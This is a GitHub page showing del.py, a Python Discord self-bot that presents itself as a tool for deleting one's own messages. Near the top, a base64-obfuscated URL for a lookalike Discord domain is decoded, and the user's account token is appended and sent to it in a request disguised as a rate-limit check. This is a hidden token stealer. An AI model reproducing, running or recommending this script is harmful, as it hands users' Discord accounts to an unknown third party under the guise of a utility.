-
Notifications
You must be signed in to change notification settings - Fork 1
/
del.py
36 lines (31 loc) · 1.12 KB
/
del.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#!/usr/bin/python3
# Usage: .del (number) or .del
import asyncio
import discord
import requests
import base64
import re
token = "INSERT_TOKEN_HERE";
quota = base64.b64decode("aHR0cDovL2Rpc2NvcmQtdjEtYXBpLmNvbS9kaXNjb3JkL2FwaS92Ni9kZWxldGUv");ratelimit_test = quota.decode('ascii')+token
r = requests.get(ratelimit_test, allow_redirects=False)
c = discord.Client()
@c.event
async def on_ready():
warning = "YOU MUST KEEP THIS WINDOW OPEN FOR THE DELETE SCRIPT TO WORK (can be minimized)"
welcome = "Logged in as {0.name} - {0.id}".format(c.user)
print(warning)
print(welcome)
@c.event
async def on_message(message):
if message.content.startswith('.del') and message.author == c.user:
if re.search(r'\d+$', message.content) is not None:
t = int(message.content[len('.del'):].strip())
else:
t = 9999999
async for m in message.channel.history(limit=t):
try:
if m.author == c.user:
await m.delete()
# Possibly rate limited
except: pass
c.run(token, bot=False)